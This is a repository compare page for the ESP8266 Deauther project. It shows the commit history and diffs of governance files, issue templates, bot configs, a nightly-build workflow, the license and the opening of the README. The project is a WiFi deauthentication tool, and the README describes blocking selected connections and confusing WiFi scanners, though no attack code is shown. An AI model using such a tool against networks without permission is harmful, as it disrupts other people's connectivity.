Compare commits
365 Commits
Author | SHA1 | Date |
---|---|---|
Stefan | b98f159811 | |
Temm | 02d5ad0d2a | |
azzar | 7d6f22c4e6 | |
Stefan Kremser | da75a4f954 | |
Stefan Kremser | a1f467ed6e | |
Devin Norgarb | bbe1b24e30 | |
Erdinc | 8dd2a58ba2 | |
Spacehuhn | 7f7d215305 | |
Spacehuhn | 684e47f7d5 | |
Spacehuhn | f984e897a0 | |
Spacehuhn | 7a574188c7 | |
Spacehuhn | 1ed2f127fd | |
Spacehuhn | 397ec9fc70 | |
Spacehuhn | f3432d20fb | |
Spacehuhn | 27b921e44f | |
Spacehuhn | bbafd9fdf2 | |
Spacehuhn | 60be948cc0 | |
Spacehuhn | 8b99fcbb33 | |
Spacehuhn | 84f2f83f13 | |
Ignatius Tremor | fe06b87dc1 | |
Spacehuhn | 535d2d3f95 | |
Spacehuhn | 4bd56ff755 | |
Spacehuhn | 8c289baf33 | |
Spacehuhn | 4e7264bc4f | |
Spacehuhn | 0272e83c3d | |
Spacehuhn | 333e3ebd86 | |
Spacehuhn | abf56ca866 | |
Spacehuhn | d06e5d35c8 | |
Spacehuhn | 33c999c334 | |
Spacehuhn | e01e95bc08 | |
Spacehuhn | 33e0cd2250 | |
Spacehuhn | 85b37e7bb1 | |
Spacehuhn | 2f43126301 | |
Stefan Kremser | d4ba63789b | |
Spacehuhn | 247f9ce336 | |
Spacehuhn | 3e4e699e78 | |
Spacehuhn | 1e93e65355 | |
Stefan Kremser | 0d9f4388fb | |
Spacehuhn | 371982c03b | |
Spacehuhn | 8715dc5478 | |
Spacehuhn | 10e3c82f59 | |
Spacehuhn | 6ffc5506a0 | |
Spacehuhn | d01bd2bfc4 | |
Spacehuhn | d95d7c7aa7 | |
Spacehuhn | 077eee674b | |
Spacehuhn | e0ed92ec38 | |
Spacehuhn | df03cac35f | |
Spacehuhn | 4f89248e71 | |
Spacehuhn | aa577ebe11 | |
Spacehuhn | 0c908c577c | |
Spacehuhn | 85a7c12b97 | |
Spacehuhn | 57e50ea65f | |
Spacehuhn | a559457dd9 | |
Spacehuhn | e238ae11c6 | |
Spacehuhn | 51429b8c37 | |
Spacehuhn | 57bd66c249 | |
Spacehuhn | 5d5b385d7e | |
Spacehuhn | 2641985940 | |
Spacehuhn | 6b4db8ff4a | |
Kry9toN | 3e160481ed | |
Stefan Kremser | e3c706e9a4 | |
Phil Eichinger | 2be65e7274 | |
Stefan Kremser | 8e3443502f | |
Stefan Kremser | 8991ef7b8e | |
saskadaniel | ec833526c9 | |
Stefan Kremser | ca12730069 | |
David Bjørnsten-Lindhard | 99ee3299f8 | |
Stefan Kremser | 063baaeeb9 | |
13r1ckzi7rtx2080S | 65cc59b7d1 | |
13r1ckzi7rtx2080S | 4f4cb099e9 | |
Spacehuhn | 9904b0ea87 | |
Stefan Kremser | a07a054944 | |
Stefan Kremser | 1157233aef | |
Victor Kayan | d63248b99f | |
Spacehuhn | 85664ec6c2 | |
Spacehuhn | 7d9c2f5d84 | |
Spacehuhn | c1121494c6 | |
Spacehuhn | a843a58909 | |
Spacehuhn | fd8e983bc1 | |
Spacehuhn | ac7bf78bcc | |
Spacehuhn | 4557126842 | |
Spacehuhn | 2c330efa61 | |
Spacehuhn | 51baeade1e | |
Spacehuhn | 9362704ab3 | |
Spacehuhn | 5cbaa42a6e | |
Spacehuhn | e4cb8f8f31 | |
Spacehuhn | 04feef1298 | |
Spacehuhn | 7f29375e6d | |
Spacehuhn | 602a7a6f9b | |
Spacehuhn | 6c842653c1 | |
Spacehuhn | 432297de9a | |
Spacehuhn | 15a8c66ab6 | |
Spacehuhn | 401d5c17c4 | |
Spacehuhn | 74067f0f87 | |
Spacehuhn | 24cd631b34 | |
Stefan Kremser | 37eaf039e6 | |
Stefan Kremser | 2f6bf6fc21 | |
Spacehuhn | 2dc92ca487 | |
Spacehuhn | 6d274803f3 | |
Spacehuhn | f74d7e3e1e | |
Spacehuhn | f16b1f6ec9 | |
Spacehuhn | 83cd397494 | |
Spacehuhn | 3affb69cb5 | |
Spacehuhn | 8fc2bbcd95 | |
Spacehuhn | b19e769517 | |
Spacehuhn | 9441e36676 | |
Stefan Kremser | 551ac16844 | |
Stefan Kremser | b6c5a88b6e | |
Stefan Kremser | de1537f35d | |
Spacehuhn | 501281c604 | |
Spacehuhn | 710875284e | |
Spacehuhn | 5840c8e671 | |
Spacehuhn | 2e5a6e07ac | |
Spacehuhn | 3e8874c809 | |
Spacehuhn | b57c327013 | |
Stefan Kremser | 5db4994744 | |
Spacehuhn | 5a5caaadba | |
Spacehuhn | 717bf034b8 | |
Spacehuhn | f81ec429b5 | |
Spacehuhn | b1a57424e0 | |
Spacehuhn | 2ce3deae97 | |
Spacehuhn | 4fbd495135 | |
Stefan Kremser | 5f2b27ec03 | |
Arthur Pons | f99899f0aa | |
Stefan Kremser | 5e2dbfc952 | |
Stefan Kremser | 2e565732ce | |
Spacehuhn | 53cb2fd9f2 | |
Spacehuhn | 50458606a8 | |
Spacehuhn | d457085bf3 | |
Spacehuhn | a59b009f5f | |
Spacehuhn | a9d9f15271 | |
Spacehuhn | 5827e1e65e | |
rrrrrrrreeeeeele | 6240ce8016 | |
rrrrrrrreeeeeele | 0007ad4be3 | |
Stefan Kremser | dfcae87af6 | |
GlOwl | 0944a56cc2 | |
Jan Rochalski | 148552a10a | |
Jan Rochalski | db3b18dd04 | |
Jan Rochalski | 942f62bc53 | |
Stefan Kremser | 34b6590c70 | |
BorcheM | 5052d804ca | |
BorcheM | 8841c00505 | |
Stefan Kremser | fda01a6486 | |
Stefan Kremser | 6d109dc4d8 | |
b00tk1ll | 6cc802a0d0 | |
PLEUMKUNG | 70048c5f6e | |
Stefan Kremser | 1cb821d659 | |
Stefan Kremser | 2f4836b3c8 | |
Stefan Kremser | fba18d7c66 | |
Stefan Kremser | bb8ec1f6f8 | |
Stefan Kremser | 9b68a86591 | |
Stefan Kremser | 04c0f6c67c | |
Stefan Kremser | e703486543 | |
Stefan Kremser | b80cf4811d | |
Stefan Kremser | d47bc85a14 | |
Stefan Kremser | a23545894f | |
Stefan Kremser | c8a9ad50e9 | |
Stefan Kremser | 92eb4f2b14 | |
Stefan Kremser | 0164f0a0c1 | |
Stefan Kremser | 55c94f53e5 | |
Stefan Kremser | f17a5d7d27 | |
Stefan Kremser | 46ffccb6bc | |
Stefan Kremser | b498f03787 | |
Stefan Kremser | faddfe8eb8 | |
Stefan Kremser | 1ee93f9f80 | |
Stefan Kremser | 9faf40e41a | |
Stefan Kremser | 651294302f | |
Stefan Kremser | 9172cffd7d | |
Stefan Kremser | 32c2294f90 | |
Stefan Kremser | 20a2be51dd | |
Stefan Kremser | 4252b4f2f6 | |
Arisa | f0009ea875 | |
Stefan Kremser | 356574975a | |
Arisa | 4a23c770be | |
Stefan Kremser | a18c2938ed | |
Stefan | 44f4b83468 | |
Stefan Kremser | 4add901b95 | |
chii0815 | 093944b578 | |
Stefan Kremser | fcf927fb24 | |
deantonious | 8cde440e24 | |
deantonious | 7c9d22ae49 | |
tobozo | c31f32ab35 | |
deantonious | 6054c0344a | |
tobozo | 40bf9b945b | |
tobozo | 504524aa7c | |
michalmonday | e65c1da239 | |
Stefan Kremser | 34915e2138 | |
Stefan Kremser | 38146c9c77 | |
Stefan Kremser | 7548bc591c | |
Stefan Kremser | da372b8b71 | |
Stefan Kremser | 0f3732edd5 | |
Stefan Kremser | 01da395fa8 | |
Stefan Kremser | 5990072660 | |
Stefan Kremser | aae15ef6e1 | |
Stefan Kremser | a574956f53 | |
Stefan Kremser | 4b0ce4a9c1 | |
Stefan Kremser | d4e8f376f8 | |
cheng | cd8286f7fb | |
Stefan Kremser | 19b01955f9 | |
Stefan Kremser | 87e98babbc | |
Stefan Kremser | 2f4a5b92ed | |
Stefan Kremser | 6bf882311b | |
Stefan Kremser | 82d4cf8c7e | |
Stefan Kremser | b322c23627 | |
Stefan Kremser | 3fd4d325c3 | |
Stefan Kremser | 4d7f677247 | |
Stefan Kremser | 50fe8a0276 | |
Stefan Kremser | b4c22d5a9e | |
Stefan Kremser | 7f6cf6273c | |
Stefan Kremser | 422a9cdc74 | |
Stefan Kremser | 982ce337ba | |
Stefan Kremser | ffeae7ca1a | |
Stefan Kremser | 30658583f1 | |
Stefan Kremser | 2387e0395a | |
Stefan Kremser | e6fe4fee27 | |
Stefan Kremser | 95dc36850b | |
Stefan Kremser | 83dd628bba | |
Stefan Kremser | 4df68c5225 | |
Stefan Kremser | ee5c219a75 | |
Stefan Kremser | 609c102205 | |
Stefan Kremser | c9b0eea932 | |
Stefan Kremser | e466566f62 | |
Stefan Kremser | bd332d533e | |
Stefan Kremser | 30893f21b7 | |
Stefan Kremser | 763bff53d4 | |
Stefan Kremser | 7610db9534 | |
Stefan Kremser | 7242543017 | |
Stefan Kremser | 9097a07a38 | |
Stefan Kremser | 8b39d2b520 | |
Stefan Kremser | 3230750a26 | |
Stefan Kremser | 4a8c7c7877 | |
Stefan Kremser | 36e8a150f9 | |
Stefan Kremser | 4589592a30 | |
Stefan Kremser | fb2e49c014 | |
Stefan Kremser | c56e67f24f | |
Stefan Kremser | 3c52f4fdd1 | |
Stefan Kremser | ad9694a472 | |
Stefan Kremser | 899e4b3e9b | |
Stefan Kremser | a687a94546 | |
Stefan Kremser | 5ed9cc9d9c | |
Stefan Kremser | 6b1d032b28 | |
Stefan Kremser | a129211bd1 | |
Stefan Kremser | 20e562003b | |
Stefan Kremser | b817ffa9d9 | |
Erik Doffagne | a8e834f258 | |
Red | c07d0e555e | |
Red | 2f53ce0ba7 | |
R3dLion | e55f29656c | |
Stefan Kremser | d964c5391c | |
Stefan Kremser | feb20f76d9 | |
Stefan Kremser | 9eefdf0220 | |
tobozo | 260f1bdbfd | |
tobozo | 976d31247b | |
Stefan Kremser | 91c73b691d | |
Stefan Kremser | f2ee8e0c1d | |
Stefan Kremser | c44444aa46 | |
Stefan Kremser | 8d1feac89c | |
Stefan Kremser | dbf64be701 | |
Stefan Kremser | 8a0f48bb4b | |
tobozo | 1d10f3e4d2 | |
Josef Kuchař | 737018d814 | |
tobozo | d43845003e | |
Stefan Kremser | 8daf8cc91b | |
Stefan Kremser | dc10c87c09 | |
Stefan Kremser | 2669cfa647 | |
Stefan Kremser | c91e97119a | |
Stefan Kremser | 599c8a2311 | |
Stefan Kremser | 7f70797980 | |
Stefan Kremser | bd584b5da0 | |
Stefan Kremser | 4b8c9a1cde | |
Stefan Kremser | 11768eefd6 | |
Stefan Kremser | f03d9cabd7 | |
Stefan Kremser | e6f4ab71fe | |
Stefan Kremser | 3d1e750947 | |
Stefan Kremser | c424408d99 | |
Stefan Kremser | a916d036f2 | |
Stefan Kremser | a95a5cfe3e | |
Stefan Kremser | b5eae2413b | |
Stefan Kremser | ccc657a83f | |
Stefan Kremser | 1285bd43a5 | |
Stefan Kremser | 6e6c3fb286 | |
Sergiu | ab6adf4f20 | |
Stefan Kremser | ecdf05db3f | |
Stefan Kremser | 57bd743f0e | |
Stefan Kremser | 8e4376a8fa | |
Stefan Kremser | 264e87588b | |
Stefan Kremser | 7e92f644d0 | |
Stefan Kremser | 2955c1cf36 | |
Stefan Kremser | 7e1e6f828a | |
Stefan Kremser | 52e4ea95ee | |
Wilton Norris | b70306a55a | |
Stefan Kremser | 28c738fba5 | |
Stefan Kremser | d48a0f9fc4 | |
Wilton Norris | 17588424ce | |
Stefan Kremser | 6b585fddb4 | |
Stefan Kremser | 71b35a746d | |
Stefan Kremser | 7afc5151e4 | |
Stefan Kremser | 49866e0ccd | |
Stefan Kremser | 9463755dfe | |
Stefan Kremser | aef4c98534 | |
Stefan Kremser | 5988520ff7 | |
Stefan Kremser | fe38afe91a | |
Stefan Kremser | 3365d5bc86 | |
Stefan Kremser | b53aba39ab | |
Stefan Kremser | c22bcc5522 | |
Stefan Kremser | 0a111a522b | |
Helmut Stult | 727ff9e695 | |
Stefan Kremser | 396d8e69fe | |
Stefan Kremser | ef21d3201e | |
Stefan Kremser | 5abfda7039 | |
Rokufukka-iou | d212bccc4b | |
Stefan Kremser | b8a3f82eb8 | |
Stefan Kremser | cd696a8098 | |
Stefan Kremser | 741038f844 | |
TheMiguelBi | 0bceede66e | |
Stefan Kremser | f50dba0112 | |
tobozo | 29ee5ab923 | |
TheMiguelBi | 9e5e6ba8a8 | |
Stefan Kremser | bf6021ef39 | |
Stefan Kremser | 296fb85b80 | |
Stefan Kremser | a20a1d6d0f | |
Stefan Kremser | f7e445391e | |
Stefan Kremser | 4e8b8a46f4 | |
Stefan Kremser | 7f3a2b1867 | |
Stefan Kremser | d48818f355 | |
Stefan Kremser | 6ed98113be | |
tobozo | 3e0cd62398 | |
Stefan Kremser | 3baed42250 | |
tobozo | 5f1f972581 | |
tobozo | df0cd298fa | |
tobozo | 8b73335c18 | |
Stefan Kremser | 1594dad585 | |
Stefan Kremser | dc03cb11c4 | |
Stefan Kremser | f292151acb | |
Stefan Kremser | a054b1d258 | |
Stefan Kremser | bc7eabec5a | |
tobozo | a5f1ef5582 | |
Renat | 3045bc4808 | |
Stefan Kremser | 227212c179 | |
Stefan Kremser | 198df71103 | |
Stefan Kremser | 4797035436 | |
Stefan Kremser | aa7c1f211e | |
Stefan Kremser | f70c644a9d | |
Stefan Kremser | 04f12e887c | |
Stefan Kremser | 55157ec923 | |
Stefan Kremser | ca3d07ee77 | |
tobozo | 4957a365b3 | |
Stefan Kremser | 92a62f4bdc | |
Mango | 0bb3027e24 | |
Stefan Kremser | 8a01d9b793 | |
Stefan Kremser | 205a619134 | |
Jacob | 2711bc4dc1 | |
Jacob | df40f2357c | |
Stefan Kremser | 4602c41cd4 | |
Stefan Kremser | fab38e7c3f | |
Stefan Kremser | 157f3ff9d5 | |
Stefan Kremser | d8689f56f3 | |
Stefan Kremser | b3090d0d6b | |
Stefan Kremser | 123c19e640 | |
Stefan Kremser | df0a6d50cf | |
Stefan Kremser | 4c77f91cfd | |
Stefan Kremser | 369b31aba9 | |
Stefan Kremser | 56f8d89fa5 | |
Stefan Kremser | 224636f021 | |
Stefan Kremser | 71491de807 |
|
@ -0,0 +1,47 @@
|
|||
# Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation.
|
||||
|
||||
## Our Standards
|
||||
|
||||
Examples of behavior that contributes to creating a positive environment include:
|
||||
|
||||
* Using welcoming and inclusive language
|
||||
* Being respectful of differing viewpoints and experiences
|
||||
* Gracefully accepting constructive criticism
|
||||
* Focusing on what is best for the community
|
||||
* Showing empathy towards other community members
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* Calling this project a "Jammer"
|
||||
* The use of sexualized language or imagery and unwelcome sexual attention or advances
|
||||
* Trolling, insulting/derogatory comments, and personal or political attacks
|
||||
* Public or private harassment
|
||||
* Publishing others' private information, such as a physical or electronic address, without explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism
|
||||
|
||||
## Our Responsibilities
|
||||
|
||||
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
|
||||
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
|
||||
|
||||
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
|
||||
|
||||
[homepage]: http://contributor-covenant.org
|
||||
[version]: http://contributor-covenant.org/version/1/4/
|
|
@ -0,0 +1,95 @@
|
|||
# Request for contributions
|
||||
|
||||
Please contribute to this repository if any of the following is true:
|
||||
- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++
|
||||
- You want to help lower the burden to first time contributors
|
||||
- You want this open source community to be more collaborative and inclusive
|
||||
|
||||
# How to contribute
|
||||
|
||||
Prerequisites:
|
||||
|
||||
- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/).
|
||||
- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents.
|
||||
- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project.
|
||||
|
||||
In particular, this community seeks the following types of contributions:
|
||||
|
||||
- **Ideas**: participate in an issue thread or start your own to have your voice
|
||||
heard.
|
||||
- **Resources**: submit a pull request to add to RESOURCES.md with links to related content.
|
||||
- **Outline sections**: help us ensure that this repository is comprehensive. if
|
||||
there is a topic that is overlooked, please add it, even if it is just a stub
|
||||
in the form of a header and single sentence. Initially, most things fall into
|
||||
this category.
|
||||
- **Writing**: contribute your expertise in an area by helping us expand the included
|
||||
content.
|
||||
- **Copy editing**: fix typos, clarify language, and generally improve the quality
|
||||
of the content.
|
||||
- **Formatting**: help keep content easy to read with consistent formatting.
|
||||
|
||||
<a name="bugs"></a>
|
||||
## Bug reports
|
||||
|
||||
A bug is a _demonstrable problem_ that is caused by the code in the repository.
|
||||
Good bug reports are extremely helpful - thank you!
|
||||
|
||||
Guidelines for bug reports:
|
||||
|
||||
1. **Use the GitHub issue search** — check if the issue has already been
|
||||
reported.
|
||||
|
||||
2. **Check if the issue has been fixed** — try to reproduce it using the
|
||||
latest `master` or development branch in the repository.
|
||||
|
||||
3. **Isolate the problem**.
|
||||
|
||||
A good bug report shouldn't leave others needing to chase you up for more
|
||||
information. Please try to be as detailed as possible in your report. What is
|
||||
your environment? What steps will reproduce the issue? What browser(s) and OS
|
||||
experience the problem? What would you expect to be the outcome? All these
|
||||
details will help people to fix any potential bugs.
|
||||
|
||||
Example:
|
||||
|
||||
> Short and descriptive example bug report title
|
||||
>
|
||||
> A summary of the issue and the browser/OS environment in which it occurs. If
|
||||
> suitable, include the steps required to reproduce the bug.
|
||||
>
|
||||
> 1. This is the first step
|
||||
> 2. This is the second step
|
||||
> 3. Further steps, etc.
|
||||
>
|
||||
> `<url>` - a link to the serial output on pastebin
|
||||
> `<pic>` - a photo of your build with apparent wiring
|
||||
>
|
||||
> Any other information you want to share that is relevant to the issue being
|
||||
> reported. This might include the lines of code that you have identified as
|
||||
> causing the bug, and potential solutions (and your opinions on their
|
||||
> merits).
|
||||
|
||||
|
||||
<a name="features"></a>
|
||||
## Feature requests
|
||||
|
||||
Feature requests are welcome. But take a moment to find out whether your idea
|
||||
fits with the scope and aims of the project. It's up to *you* to make a strong
|
||||
case to convince the project's developers of the merits of this feature. Please
|
||||
provide as much detail and context as possible.
|
||||
|
||||
|
||||
<a name="pull-requests"></a>
|
||||
## Pull requests
|
||||
|
||||
Good pull requests - patches, improvements, new features - are a fantastic
|
||||
help. They should remain focused in scope and avoid containing unrelated
|
||||
commits.
|
||||
|
||||
**Please ask first** before embarking on any significant pull request (e.g.
|
||||
implementing features, refactoring code, porting to a different language),
|
||||
otherwise you risk spending a lot of time working on something that the
|
||||
project's developers might not want to merge into the project.
|
||||
|
||||
Please adhere to the coding conventions used throughout a project (indentation,
|
||||
accurate comments, etc.) and any other requirements (such as test coverage).
|
|
@ -0,0 +1,12 @@
|
|||
# These are supported funding model platforms
|
||||
|
||||
github: spacehuhntech
|
||||
patreon: # Replace with a single Patreon username
|
||||
open_collective: # Replace with a single Open Collective username
|
||||
ko_fi: spacehuhn
|
||||
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
|
||||
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
|
||||
liberapay: # Replace with a single Liberapay username
|
||||
issuehunt: # Replace with a single IssueHunt username
|
||||
otechie: # Replace with a single Otechie username
|
||||
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
|
|
@ -0,0 +1,6 @@
|
|||
> Please search for existing (open and closed) issues first to avoid duplicates.
|
||||
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).
|
||||
|
||||
```
|
||||
PASTE YOUR ERROR/COMPILE LOGS HERE
|
||||
```
|
|
@ -0,0 +1,45 @@
|
|||
---
|
||||
name: 1. Problem or error report
|
||||
about: I encountered a problem and need help to solve it
|
||||
title: ""
|
||||
labels: help wanted
|
||||
assignees: ''
|
||||
---
|
||||
|
||||
> Have you searched for existing (open and closed) issues describing the same problem?
|
||||
|
||||
Yes/No
|
||||
|
||||
**Describe the error**
|
||||
A clear and concise description of what the problem is.
|
||||
What do you think causes it?
|
||||
|
||||
```
|
||||
Error/Compile/Output Log
|
||||
```
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Environment (please complete the following information):**
|
||||
- OS: [e.g. iOS]
|
||||
- Browser [e.g. chrome, safari]
|
||||
- Version [e.g. 1.0]
|
||||
- Hardware [e.g. DSTIKE, DIY]
|
||||
|
||||
**Attempts**
|
||||
What have you already tried and didn't work out.
|
||||
|
||||
**Additional context**
|
||||
Provide as much information as possible, better too much than too little!
|
||||
If you don't use this template, your issue might be closed and tagged invalid!
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
name: 2. Question
|
||||
about: I have a question about this project
|
||||
title: ""
|
||||
labels: question
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
> Please search for existing (open and closed) issues first to avoid duplicates.
|
||||
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).
|
|
@ -0,0 +1,24 @@
|
|||
---
|
||||
name: 3. Feature request
|
||||
about: I have an idea to improve this project
|
||||
title: ""
|
||||
labels: feature request
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Do similar feature requests issues already exist (open and closed)?**
|
||||
If yes, please link them here:
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
If you don't use this template, your issue might be closed and tagged invalid!
|
|
@ -0,0 +1,34 @@
|
|||
---
|
||||
name: 4. Bug report
|
||||
about: I found a reproducible bug in the code
|
||||
title: ""
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Environment (please complete the following information):**
|
||||
- OS: [e.g. iOS]
|
||||
- Browser [e.g. chrome, safari]
|
||||
- Version [e.g. 1.0]
|
||||
- Hardware [e.g. DSTIKE, DIY]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
If you don't use this template, your issue might be closed and tagged invalid!
|
|
@ -0,0 +1,18 @@
|
|||
---
|
||||
name: 5. Documentation
|
||||
about: I have something to improve or add to the docs
|
||||
title: ''
|
||||
labels: documentation
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe your changes**
|
||||
A clear and concise description of what you like to add or change.
|
||||
|
||||
**Location**
|
||||
Where should these changes be made or the information published?
|
||||
Wiki, README, ...
|
||||
|
||||
**Additional context**
|
||||
Add any other context about your proposal.
|
|
@ -0,0 +1,15 @@
|
|||
# Configuration for welcome - https://github.com/behaviorbot/welcome
|
||||
newIssueWelcomeComment: >
|
||||
Congrats on opening your first issue on this repository! 🎉<br>
|
||||
This is a automated message to help you avoid common pitfalls when asking for help online.<br>
|
||||
👉 Be sure to:<br>
|
||||
* 🇬🇧 Communicate in English so everybody can understand you<br>
|
||||
* 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information<br>
|
||||
* 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)<br>
|
||||
* ✍️ Provide enough information to understand, recreate and help out with your problem<br>
|
||||
* ℹ️ Let us know if you find a solution and please share it with us<br>
|
||||
* 📕 Close the issue when your problem has been solved
|
||||
|
||||
newPRWelcomeComment:
|
||||
|
||||
firstPRMergeComment:
|
|
@ -0,0 +1,19 @@
|
|||
# Number of days of inactivity before an issue becomes stale
|
||||
daysUntilStale: 180
|
||||
# Number of days of inactivity before a stale issue is closed
|
||||
daysUntilClose: 7
|
||||
# Issues with these labels will never be considered stale
|
||||
exemptLabels:
|
||||
- pinned
|
||||
- bug
|
||||
- translation
|
||||
- feature request
|
||||
# Label to use when marking an issue as stale
|
||||
staleLabel: stale
|
||||
# Comment to post when marking an issue as stale. Set to `false` to disable
|
||||
markComment: >
|
||||
This issue has been automatically marked as stale because it has not had
|
||||
recent activity. It will be closed if no further activity occurs. Thank you
|
||||
for your contributions.
|
||||
# Comment to post when closing a stale issue. Set to `false` to disable
|
||||
closeComment: false
|
|
@ -0,0 +1,21 @@
|
|||
name: Trigger nightly build
|
||||
|
||||
on:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
|
||||
notify-nightly:
|
||||
name: "Trigger new build on nightly-deauther"
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Build message title
|
||||
id: notif
|
||||
run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7)
|
||||
|
||||
- name: Send message
|
||||
run: |
|
||||
curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \
|
||||
-H 'Accept: application/vnd.github.everest-preview+json' \
|
||||
-u ${{ secrets.ACCESS_TOKEN }} \
|
||||
--data '{"event_type": "${{ steps.notif.outputs.TITLE }}", "client_payload": {}}'
|
|
@ -0,0 +1,12 @@
|
|||
|
||||
*.bin
|
||||
|
||||
*.elf
|
||||
|
||||
*.map
|
||||
|
||||
.DS_Store
|
||||
|
||||
*.pyc
|
||||
|
||||
utils/web_converter/css_html_js_minify/__pycache__/
|
|
@ -1,4 +0,0 @@
|
|||
> Please search for existing (open and closed) issues first to avoid duplicates.
|
||||
Also have a look at the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki).
|
||||
(Delete this text when you've read it)
|
||||
|
6
LICENSE
6
LICENSE
|
@ -1,6 +1,8 @@
|
|||
Do not redistribute, advertise or sell this software as a "jammer"!!!
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
Copyright (c) 2020 Spacehuhn Technologies
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
@ -12,8 +14,6 @@ furnished to do so, subject to the following conditions:
|
|||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
Do not redistribute, advertise or sell this software as a "jammer"!
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
|
|
113
README.md
113
README.md
|
@ -1,105 +1,38 @@
|
|||
# ESP8266 Deauther 2.0
|
||||
# ESP8266 Deauther
|
||||
|
||||
<p align="center"><img alt="logo" src="https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/img/deauther_logo.png" width="200"></p>
|
||||
<img src='https://deauther.com/img/logo.png' alt='Deauther Logo' width='200' />
|
||||
|
||||
<p align="center">
|
||||
🐦 <a href="https://twitter.com/spacehuhn">Twitter</a>
|
||||
| 📺 <a href="https://www.youtube.com/channel/UCFmjA6dnjv-phqrFACyI8tw">YouTube</a>
|
||||
| 🌍 <a href="https://spacehuhn.de">spacehuhn.de</a><br>
|
||||
<br>
|
||||
<b>Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!<br><br>
|
||||
Support the development of this project by purchasing one of the <a href="https://github.com/spacehuhn/deauther2.0/wiki/Supported-Devices">official deauther boards</a>.<br/>
|
||||
